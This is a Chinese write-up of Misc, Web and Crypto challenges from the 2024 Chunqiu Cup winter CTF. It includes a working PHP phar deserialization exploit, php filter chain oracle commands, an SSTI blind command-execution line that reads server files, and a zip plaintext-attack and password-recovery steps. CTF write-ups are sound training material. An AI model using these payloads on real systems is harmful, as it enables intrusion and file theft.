2024-春秋杯冬季赛

news/2025/1/21 17:22:51/

Misc

简单算术

题目提示异或,直接把开头字符 y 与 f 异或,得到的是不可见字符,base64 编码一下得到异或的字符,将给出的每一个字符与编码后的结果异或即可得到 flag

import base64result = chr((ord("y") ^ ord("f")))
result_bytes = result.encode('utf-8')
encoded = base64.b64encode(result_bytes)
print(encoded)

flag 值:flag{x0r_Brute_is_easy!}

See anything in these pics?

首先识别 Aztec 码得到解压密码

解压后一张 jpg 图片,查看文件尾发现有个 png 文件

formost 分离然后修复图片宽高即可得到 flag

flag 值:flag{opium_00pium}

简单镜像提取

一个流量包,放入随波逐流发现流量中包含 zip 文件,formost 分离出 zip

得到一个 img 镜像文件,搞了半天没找到,于是再次放入随波逐流 formost 分离,得到一个 xls 文件,打开即可得到 flag

flag 值:flag{E7A10C15E26AA5750070EF756AAA1F7C}

压力大,写个脚本吧

压缩包套娃解密,每层的密码都要先 base64 解一下才是真正的密码,脚本如下:

import os
import zipfile
import base64def extract_zip(zip_path, password):with zipfile.ZipFile(zip_path) as zf:zf.extractall(pwd=password.encode('utf-8'))print(f"成功解压: {zip_path}")return Truedef main():for i in range(99, -1, -1):  # 从 99 到 0zip_name = f"zip_{i}.zip"password_file = f"password_{i}.txt"with open(password_file, 'r') as f:encoded_password = f.read().strip()password = base64.b64decode(encoded_password).decode('utf-8')print(f"正在解压 {zip_name},使用密码: {password}")if not extract_zip(zip_name, password):breakif __name__ == "__main__":main()

解密之后有一个 hint.txt,内容为 PASSWORD+PASSWORD.png

也就是解压密码连起来是一张图片,写脚本如下:

import os
import base64def merge_passwords():merged_data = ""for i in range(100):password_file = f"password_{i}.txt"with open(password_file, 'r') as f:merged_data += f.read().strip()data = base64.b64decode(merged_data).decode('utf-8')return dataif __name__ == "__main__":data = merge_passwords()with open("merged_passwords.txt", 'w') as f:f.write(data)

将得到的 16 进制文本复制到 010 转化为图片,是一张二维码,扫码得到 flag

flag 值:flag{_PASSWORDs_is_fl@g!_}

ez_forensics(复现)

首先使用 Lovelymem 工具挂载

翻到一个 hint.txt,提示 60 = ( ) + ( ),和羊城杯一样,rot13+rot47,解码得到提示,7z 密码是从 hashdump 中得到的

不知道为啥 7z 文件是空的,使用另一个软件 R-Studio 挂载镜像,恢复 f14g.7z 文件,密码使用 hashdump 命令查到 Flu0r1n3 用户的密码,cmd5 查到明文

解压得到一个提示和一个 ini 配置文件,提示是 ssh 连接,ini 文件是 MobaXterm 的配置文件,需要用到一个项目恢复密码,项目地址如下:

https://github.com/HyperSine/how-does-MobaXterm-encrypt-password

ini 文件里的密码配置文件如下:

把 flag_is_here 当作主密码来显示出 root 用户密码,命令如下:

python MobaXtermCipher.py dec -p flag_is_here DLulatnJIPtEF/EMGfysL2F58R4dfQIbQhzwuNqL

执行命令,然后把大括号里的内容 base64 解密一下,得到 flag

flag 值:flag{you_are_a_g00d_guy}

Weevil's Whisper

webshell 流量分析,首先过滤 http 协议,发现先是上传了一个 shell.php,然后再连接 webshell 进行命令执行

右键追踪 tcp 协议,可以看到上传的 webshell,如下

分析 webshell 逻辑编写解密脚本,然后将命令执行的结果逆向解密,最后一个包解密后就是 flag

解密脚本如下:

<?php
$key = "161ebd7d";
function xorEncryptDecrypt($input, $key) {$keyLength = strlen($key);$inputLength = strlen($input);$output = "";for ($i = 0; $i < $inputLength;) {for ($j = 0; $j < $keyLength && $i < $inputLength; $j++, $i++) {$output .= $input[$i] ^ $key[$j]; // 逐字符 XOR 运算}}return $output;
}
$response = "lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92";
$prefix = "lFDu8RwONqmag5ex";
$header = "45089b3446ee";
$footer = "4e0d86dbcf92";
$encryptedData = substr($response, strlen($prefix) + strlen($header), -strlen($footer));$base64Decoded = base64_decode($encryptedData);
$decryptedData = xorEncryptDecrypt($base64Decoded, $key);
$uncompressedData = gzuncompress($decryptedData);echo $uncompressedData;
?>

flag 值:flag{arsjxh-sjhxbr-3rdd78dfsh-3ndidjl}

NetHttP

给了一个流量包,过滤 http 协议,一眼看出是 ssti 命令执行的攻击

看他执行的命令结果,流 1 是一个 ssti 漏洞,给出了一个 SECRET_KEY

from flask import Flask,request,render_template_string,Response,sessionapp = Flask(__name__)
app.config['SECRET_KEY'] = 'gdkfksy05lx0nv8dl'
@app.route("/")
def index():return open(__file__).read()@app.route("/rce",methods=["GET"])
def rce():data = request.args.get("name","Guest")return render_template_string(f"Welcome {data}")if __name__ == "__main__":app.run(host="0.0.0.0",port=8989,debug=False)

在流 13 找到了一个加密了的私钥,尝试使用 SECRET_KEY 解密私钥发现刚好能解

-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIC1DBOBgkqhkiG9w0BBQ0wQTApBgkqhkiG9w0BBQwwHAQIirzza4niI8QCAggA
MAwGCCqGSIb3DQIJBQAwFAYIKoZIhvcNAwcECEXSIcOIuwGaBIICgHLW3Qb39/+E
0uKiOi8yevcztF5toCOGsh6Fi23zSIwCjH8VPO1lbpFCkW9789ldbxBbSwtXwMmF
kTyFjOmymL/zktmt8PyExcWOGA481/IkpCPTmKAT8+67FJEdAf9BAZVPjqpu1Lla
Ohnp3JFZ8SStSUWwvjLZafi4Ucf7ajJexwCTkkvB7mF8kostYaBOsNJ1GORRdL3c
s73GxvX98MTLvF1DW5xujgdcl28msB3GHTxe7sSgScKfFUyfCViivW8FCqa6lfJo
Tj3JZtNlpPiOr1PXPfIWBt0wEQaF3+ovTEVu7x1r1Q3mq61GpO3s4n6kdeGg9Dkp
BYErmG76JdZtOWTZ88SrD7EDkh12EOdtM0ywR1DTYk4+fjKifkhPPrIGn8Nm07PE
yTAS7UG0Ut2Ut722rOBsgIZlnk2vF8qbIvKJj1JGzedMLabnafF5/L2N4wP8ZeL8
fO1Asxy0o/Hk89rl7ZI8Aocc1ZRMHKfxg/XV2bFHv2q1M1y3CI9wUrGnvk+8oX0H
T/5vFtfGb4QNiy+p6aTi+UEJOau5O0t4f2kAL6L/pgmLEMulKWVMK8u+p6os0cbt
KbVBmjNE/uA8SCv8E9XcL+/LWsSVInrYwJQzWbLIYx5FTRk4479taV3BGEN+hbmU
RqlIK8IwsVxWc4wC+oHoLMY4RllUZ9D2rBasMt6DOLA31Jjrabciv03zJPyqXcfi
DVTFu9JfT1fF7eOClQzTvIlTDVIDMPfAqR6B+/AbZDiQ2aK/54i10kohmXT2qWoT
pDYPWV2JGTXICaRyP8FYu26ZTdIKVB3PovfJEXR3yex14U5T8zFVpUQnoDJfNyPG
qUVmlGScmkU=
-----END ENCRYPTED PRIVATE KEY-----

接下来就只剩下密文了,首先分析一下命令,如果截取的字符等于给出的字符,就会回显一个 rce,猜测 m5 文件就是密文,根据回显情况来判断出 m5 文件的内容

if [ $(cat /app/secret/mw/m5|base64 -w 0| awk NR==1 | cut -c 1) == 'U' ]; then echo "rce";fi

我的思路是:先提取出回显是 Welcome rce 的请求包,再提取请求包的参数值,接着 base64 解码,正则获取到 cut -c 命令判断出来的字符,拷打 GPT 得到脚本

这里贴一个提取并合并请求包的 ps1 脚本吧,其他操作比较简单,自行操作即可

$inputFile = "NetHttP.pcapng"
$outputDir = "output"
$mergedFile = "merged_output.pcap"if (-not (Test-Path $outputDir)) {New-Item -ItemType Directory -Path $outputDir
}
$streams = tshark -r $inputFile -Y 'http contains "Welcome rce"' -T fields -e tcp.stream | Sort-Object -Unique
foreach ($stream in $streams) {tshark -r $inputFile -Y "tcp.stream eq $stream" -w "$outputDir\output_stream_$stream.pcap"
}
$outputFiles = Get-ChildItem -Path $outputDir -Filter "output_stream_*.pcap" |Sort-Object { [int]($_ -replace '^.*_(\d+)\.pcap$', '$1') }
if ($outputFiles.Count -gt 0) {$fileList = $outputFiles.FullName -join " "mergecap -w "$outputDir\$mergedFile" $fileListWrite-Host "合并完成!结果已保存到 $outputDir\$mergedFile。"
}

之后使用 tshark 提取 name 参数的值

tshark -r NetHttP.pcapng -Y "http.request.method == GET && http.request.uri.query" -T fields -e http.request.uri.query bas| Select-String -Pattern "name=([^&]*)" -AllMatches | ForEach-Object { $_.Matches.Groups[1].Value } > names.txt

再写脚本正则提取即可得到 base64 编码的密文,如下

UzBJM2lXaHZzektiT00vT2FsS1RBMGZwbTVPNWNoVlZuWUd5S2Q1blY0ZXJBelJiVjZWNnc4Yi9VaU9mUUVjM0lqaDAwaEZqWUZVMUhheE51YjlHbmxQUy9sY2FtNW1BVGtmMnNKUzZKZ3BKbzZBU2hWUnhXRFlLS3JvamVVZUJaajVNRVBJOC80REdHR3VIRnhteDJieEFhaGREZTFjR25qVFpHV09OcE5JPQRmFrZSBGTGFnCm5vIGhlcmUK==

将base64 编码的密文解码一下,然后使用 cyberchef 进行 rsa 解密即可得到 flag

flag 值:flag{343907d2-35a3-4bfe-a5e1-5d6615157851}

音频的秘密

根据提示说 wav 隐写为 deepsound 加密,密码为弱口令,我们使用 deepsound 提取隐藏的文件,密码为 123(试了好久),deepsound2john.py 爆破不出来估计是版本问题

提取出来后还是加密的压缩包,尝试爆破未果后查看加密方式,发现压缩方式是 store,加密方式是 ZipCrypto,所以可以使用明文攻击破解压缩包,命令如下:

bkcrack.exe -C flag.zip -c flag.png -p pngheader -o 0
bkcrack.exe -C flag.zip -k 29d29517 0fa535a9 abc67696 -U 123.zip 123

解压得到一张图片,使用 Stegsolve 工具提取一下通道数据即可得到 flag

flag 值:flag{Y1_Shun_jian_Fa_ZE_Dian_Fu}

Web

easy_flask

随便输入账号登陆,一眼 ssti,直接使用 fenjing 工具一把梭,执行命令得到 flag

flag 值:flag{48ad0cde8345c8b2608933ac4e85147e}

file_copy(复现)

直接用项目跑,项目地址如下:

https://github.com/synacktiv/php_filter_chains_oracle_exploit

项目描述如下,只要使用了列举出的这些函数,就可以在服务器不返回文件内容的情况下泄露文件内容

然后用命令跑就行了,跑太慢我就不跑了,你知道就好(

python filters_chain_oracle_exploit.py --target url --file '/flag' --parameter path

easy_code

进入页面是 2048 小游戏,玩了一会发现没什么信息,尝试访问 /robots.txt,发现泄露的有文件路径

访问 /gogogo.php,是一个套了三层的 php 绕过

第一层:浮点型转整型溢出,浮点型转整形如果溢出就会造成精度损失,666.99999999999999999 会被转成 667,从而绕过第二个和第三个过滤

第二层:一个简单的 cookie 传参,直接传入 pass=admin 即可

第三层:具体逻辑如下:

if (preg_match("/^(?:.*(?:base|rot13|input|data|flag|file|2|5|base64|log|proc|self|env).*)$/i", $file)) {echo "prohibited prohibited!!!!";} else {echo "试试read.php";include($file);
}

过滤了一些输入输出流,如果绕过就进行文件包含,包含 read.php 文件,我们可以利用伪协议读文件,不过部分过滤器被限制了,使用其他过滤器绕过限制,具体过滤器可以参考这篇文章

https://developer.aliyun.com/article/1478688

将文章给的过滤器放到 burp 里爆破一下,按照响应包长度排序,查看响应包,得到 base64 编码的 flag

base64 解码即可得到 flag

flag 值:flag{d91ea23e927b0e2dca64624cf4c867ca}

easy_php

进入首页下载网站源码,发现是 phar 反序列化,找到一道差不多一模一样的原题

https://blog.csdn.net/qq_51584770/article/details/121218448

文件都一样,功能都一样,难绷,只改了两个地方

一个是 class.php 里的一个类名 C1e4r 换成了 Chunqiu,另一处是 flag 的位置,改到了根目录

修改原题 payload 如下:

<?phpclass Chunqiu {public $test;public $str;
}
class Show {public $source;public $str;
}
class Test {public $file;public $params;public function __construct() {$this->params = array('source'=>'/flag');}
}$c = new Chunqiu();
$s=new Show();
$t =new Test();
$s->source=$s;
$s->str['str']=$t;
$c->str=$s;
echo(serialize($c));
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();
?>

将生成的 exp.phar 文件后缀改成 jpg 绕过 waf 检测,然后在 /upload_file.php 上传

虽然乱码了,但应该是成功了,访问 /upload/ 找到上传后的文件

在/file.php 使用 phar 协议读文件,触发反序列化,base64 解码得到 flag

flag 值:flag{a16dcb7549915546893a27a6d7927615}

Crypto

你是小哈斯?

下载题目内容得到一串 hash 列表,先把第一个放到 cmd5 网站查看是哪种 hash,可以看到是 sha1

写脚本对每一行 hash 进行单字符爆破,得到 flag

import hashlibcharacters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?/~`"# 爆破单个字符
def crack_hash(target_hash):for char in characters:# 计算当前字符的哈希值hash_value = hashlib.sha1(char.encode()).hexdigest()  # 使用 SHA-1# 比较哈希值if hash_value == target_hash:print(f"找到匹配的字符: {char} (哈希值: {target_hash})")return char
# 读取文件并逐行爆破
result_str = ""
with open("题目内容.txt", "r") as file:for line in file:target_hash = line.strip()if target_hash:char = crack_hash(target_hash)if char:result_str += char
# 输出最终的字符串
print(result_str)

最终跑出来的结果是:

1234567890-=qwertyuiopflag{no_is_flag}asdfghjklzxcvbnm,flag{game_cqb_isis_cxyz}.asdfghjklzxcvbnm,.qwertyuiopflag{no_is_flag}1234567890-=

flag 值:flag{game_cqb_isis_cxyz}

通往哈希的旅程

给出一串 hash ca12fd8250972ec363a16593356abb1f3cf3a16d,要求爆破 11 位手机号,写脚本爆破,运行脚本即可得到对应的手机号码,脚本如下:

import hashlib# 目标哈希值
target_hash = "ca12fd8250972ec363a16593356abb1f3cf3a16d"# 手机号前缀
prefix = "188"# 爆破手机号的后 8 位
for i in range(0, 100000000):  # 8 位数字范围是 00000000 到 99999999# 生成手机号phone_number = prefix + f"{i:08d}"  # 补零到 8 位# 计算 SHA-1 哈希值hash_value = hashlib.sha1(phone_number.encode()).hexdigest()# 比较哈希值if hash_value == target_hash:print(f"找到匹配的手机号: {phone_number}")break# 打印进度(可选)if i % 1000000 == 0:  # 每 100 万次打印一次进度print(f"已尝试: {i} 次")
else:print("未找到匹配的手机号。")

flag 值:flag{18876011645}

funny_rsa

本题推导部分就是简单的高中数学,题目给了四个运算结果

利用 funny2 和 funny3 可以推出 n

funny1 可以近似推导出 p 和 q,random_offset 在 [-1025, 1025] 之间,直接爆破,然后解方程 x^2 - (p+q)x + p*q = 0 得到 p 和 q

然后就是正常的解rsa步骤了,脚本如下:

import math
from Crypto.Util.number import bytes_to_long, long_to_bytes, inversefunny1 = int("-17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374")  # 替换为实际 Funny 1 值
funny2 = int("23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011")  # 替换为实际 Funny 2 值
funny3 = int("419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024")  # 替换为实际 Funny 3 值
funny4 = int("13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479")  # 替换为实际 Funny 4 值n = (funny3 + 1025) // funny2
found = False
for offset in range(-1025, 1026):p_plus_q = funny1 + n - offsetdiscriminant = p_plus_q**2 - 4 * nif discriminant < 0:continuesqrt_discriminant = math.isqrt(discriminant)p = (p_plus_q + sqrt_discriminant) // 2q = (p_plus_q - sqrt_discriminant) // 2if p * q == n:found = Truebreak
phi_n = (p - 1) * (q - 1)
e = 65537
d = inverse(e, phi_n)
hint_long = pow(funny4, d, n)
m_long = funny2 // hint_longprint(long_to_bytes(hint_long))
print(long_to_bytes(m_long))

但是运行得到的却是一个假 flag,hint 说玄机就在数字里面

b'Of course, So good, and enjoy the funny number, it is true flag'
b'fake:flag{5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861}'

尝试把假 flag 里的内容长整数转字符,即可得到真正的 flag

from Crypto.Util.number import long_to_bytes
flag = 5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861
print(long_to_bytes(flag))

flag 值:flag{aB3-CdE7_FgH9-iJkLmNoPqRsT-UvWxYz1234567890}

最近搭了一个博客,以后wp之类的就直接发博客了,地址:Liebert77の博客


http://www.ppmy.cn/news/1565007.html

相关文章

小型分布式发电项目优化设计方案

一、项目背景与目标 在能源转型的大趋势下&#xff0c;小型分布式发电项目凭借其高效、灵活等优势&#xff0c;成为满足特定区域用电需求的重要方式。本项目选址于[具体地点]&#xff0c;此地年均日照时长可观&#xff0c;具备良好的太阳能资源开发潜力。项目旨在构建一个稳定…

ChatGPT 写作系列

ChatGPT 辅助写作 | 专栏 1 写作核心​ 先讲一下 ChatGPT 写作的核心。核心就是需要有文章大纲&#xff0c;而且文章大纲要足够细致。​ 具体怎么做呢&#xff1f;​ 提前准备多级标题大纲&#xff0c;刚开始有两个级别的标题就行&#xff0c;等用熟练了再细化。分一级标题&…

游戏引擎学习第83天

回顾 昨天主要集中在实现位图缓存并优化使用。通过将位图缓存起来&#xff0c;避免了在屏幕上逐帧绘制所有内容的问题。具体来说&#xff0c;现在可以将任何需要绘制到屏幕上的内容直接绘制到位图中&#xff0c;类似于使用一系列的组合来生成地面纹理。由于目前的位图复制例程…

WGAN - 瓦萨斯坦生成对抗网络

1. 背景与问题 生成对抗网络&#xff08;Generative Adversarial Networks, GANs&#xff09;是由Ian Goodfellow等人于2014年提出的一种深度学习模型。它包括两个主要部分&#xff1a;生成器&#xff08;Generator&#xff09;和判别器&#xff08;Discriminator&#xff09;…

dl学习笔记:(5)深度神经网络的正向传播

这小节的任务不多&#xff0c;使用封装好的torch.nn模块来实现一个完整的多层神经网络的正向传播。假设我们有500条数据&#xff0c;20个特征&#xff0c;标签为3分类。我们现在要实现一个三层神经网络&#xff0c;这个神经网络的架构如下&#xff1a;第一层有13个神经元&#…

回归算法、聚类算法、决策树、随机森林、神经网络

这也太全了&#xff01;回归算法、聚类算法、决策树、随机森林、神经网络、贝叶斯算法、支持向量机等十大机器学习算法一口气学完&#xff01;_哔哩哔哩_bilibili 【线性回归、代价函数、损失函数】动画讲解_哔哩哔哩_bilibili 14分钟详解所有机器学习算法&#xff1a;…

C++学习第五天

创作过程中难免有不足&#xff0c;若您发现本文内容有误&#xff0c;恳请不吝赐教。 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、构造函数 问题1 关于编译器生成的默认成员函数&#xff0c;很多童鞋会有疑惑&#xff1a;不实现构造函数的情况下…

基于.NetCore+Vue的贫困地区儿童资助系统

1.业务需求 1.1 业务角色分析 贫困地区儿童资助系统分为用户和管理员两个角色。管理员具有用户管理、贫困儿童信息管理、儿童参与项目管理、资助项目管理、社会资助记录管理、发放记录、统计分析功能&#xff1b;用户具有贫困儿童登记&#xff08;代填&#xff09;、通知公告…